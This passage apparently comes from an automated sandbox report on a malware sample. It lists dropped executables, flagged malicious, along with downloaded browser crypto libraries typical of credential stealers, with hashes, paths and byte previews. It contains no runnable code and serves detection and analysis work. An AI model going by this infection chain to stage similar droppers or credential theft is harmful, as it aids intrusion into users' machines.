Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B39B5A7ACF60BA75F3B081D53463DFB3",.. "id": "B39B5A7ACF60BA75F3B081D53463DFB3",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B39B5A7ACF60BA75F3B081D53463DFB3"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2C658D091B5274A6C91E6477C70C3CD8",.. "id": "2C658D091B5274A6C91E6477C70C3CD8",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2C658D091B5274A6C91E6477C70C3CD8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1924608
Entropy (8bit):	7.950175139929825
Encrypted:	false
SSDEEP:	49152:9hgHusXjVlAmvQN5yJpk/VqCIk+SVTntsI:nFsZOm5k/4w+SV7
MD5:	56A8D0EA738568054D6A68992C06AF83
SHA1:	9F965ADB0CB2D9194F7DC72F8C06A52F92E4D58E
SHA-256:	6C6F1CB0EE20AB9E1A4B0C34EED3ED086357CC10B05B372D9A09E5D0D516D5C5
SHA-512:	59E90B3FC4EA54585A197B97381019C9F80D9C44213BD75BE71360A297C568DD588287F999F6CEC94E853C7E81C193BDA3CC388584CC7A04E3B3F25EF2EBFCA5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L......b....@.................................W...k.......D....................L.............................t.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...qjiksrqu.P...`2..B..................@...nceqyape......L......8..............@....taggant.0....L.."...<..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\rh[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.950531577382794
Encrypted:	false
SSDEEP:	49152:V9W86NOdgpqDrR07KEJkDVO0/fHNWkxRV/06UNlI/suQE:q8fCq5ukDb/1TnNKm/s
MD5:	4CECB04D97630CC2D5CCE80368B87FDD
SHA1:	4F693736497E06C820B91597AF84C6FECE13408B
SHA-256:	51698570A9C637EC0C9BC2B3CA6ACB7EDF3D7804C49B8EED33E82573950877DD
SHA-512:	ACDF93D12791A6A11B307FBBDC6DF2B27A6E8DE6B8CC015C4892304D4653E79AC58351600B53C7EA78D285D69DF8E8F2E270CF9A168B187D372A3DE17E84EC66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@...........................K..........@.................................V...j.......p........................................................................................................... . .........<..................@....rsrc...p............L..............@....idata .............V..............@... ..)..........X..............@...ettnbbde......1......Z..............@...lbelwvmk......K......"..............@....taggant.0....K.."...&..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008496001\rh.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.950531577382794
Encrypted:	false
SSDEEP:	49152:V9W86NOdgpqDrR07KEJkDVO0/fHNWkxRV/06UNlI/suQE:q8fCq5ukDb/1TnNKm/s
MD5:	4CECB04D97630CC2D5CCE80368B87FDD
SHA1:	4F693736497E06C820B91597AF84C6FECE13408B
SHA-256:	51698570A9C637EC0C9BC2B3CA6ACB7EDF3D7804C49B8EED33E82573950877DD
SHA-512:	ACDF93D12791A6A11B307FBBDC6DF2B27A6E8DE6B8CC015C4892304D4653E79AC58351600B53C7EA78D285D69DF8E8F2E270CF9A168B187D372A3DE17E84EC66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@...........................K..........@.................................V...j.......p........................................................................................................... . .........<..................@....rsrc...p............L..............@....idata .............V..............@... ..)..........X..............@...ettnbbde......1......Z..............@...lbelwvmk......K......"..............@....taggant.0....K.."...&..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2bf87399-ecb2-4427-8c09-357506cb3a13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\5297dcad-4d4d-4705-9e96-92ef62fcffa1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\666cd620-a1ea-41a1-bc6f-eaa389f83c7e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\9d76fee9-0987-4e7d-99ff-ebc623fd6095.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1967576
Entropy (8bit):	7.994723643905958
Encrypted:	true
SSDEEP:	49152:0BIHUC2AF3DZeJNfQKRD5VU7oSgjndrdW0YXfVFyORPINoTMv:0m8S3DZANfQKjV9/rdrYPOYQNoTa
MD5:	9887FCAD432CA21BB4D86FF1B9882222
SHA1:	D0E505585C32A1F4EC1520F1FDB892BA98250954
SHA-256:	28242E77B60F7695BD4111295E2C7D53633423291EE36652932F24A8E182A47C
SHA-512:	8EBCB2AB3D9B9FFAA86C2FAF5C1958FC2120F97D815738EC0D52F7DE12C91914D281C6E9F2333CC4C584B9883B22DC3C31E3975F5D4A075F80CCA59C7BB2F972
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFHJDBKJKFI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1924608
Entropy (8bit):	7.950175139929825
Encrypted:	false
SSDEEP:	49152:9hgHusXjVlAmvQN5yJpk/VqCIk+SVTntsI:nFsZOm5k/4w+SV7
MD5:	56A8D0EA738568054D6A68992C06AF83
SHA1:	9F965ADB0CB2D9194F7DC72F8C06A52F92E4D58E
SHA-256:	6C6F1CB0EE20AB9E1A4B0C34EED3ED086357CC10B05B372D9A09E5D0D516D5C5
SHA-512:	59E90B3FC4EA54585A197B97381019C9F80D9C44213BD75BE71360A297C568DD588287F999F6CEC94E853C7E81C193BDA3CC388584CC7A04E3B3F25EF2EBFCA5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L......b....@.................................W...k.......D....................L.............................t.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...qjiksrqu.P...`2..B..................@...nceqyape......L......8..............@....taggant.0....L.."...<..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ade709bc-e9c4-4ed2-a969-50f74aae7b83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.406609375897468
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0l4xa5Fve0CGbW:JIVuwEw5MUFZLBQLty9fM
MD5:	44EEBA687294FE780042FD1EFFCEF679
SHA1:	69D78C8DBC177D1CBA6C49DAF9397F962596E0E8
SHA-256:	CBC8306EF2F2E7368FDF6FA43F939C13B5FE04D968AED9033646C4A615AEDF72
SHA-512:	230B4F5AA1B2E850F50EAD2D6236958D15B265F12D0FE3F76DDCF54F64FB32D304F6176F016726F7CACEAA547DB784581BC5347439B7B8B7C1841AF94AE06D1D
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\debb46f2-adca-4b48-a52f-7ac6fd9a1c7d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\e67df80f-021b-47c6-970c-b354d88ad964.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir6932_1772472923\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

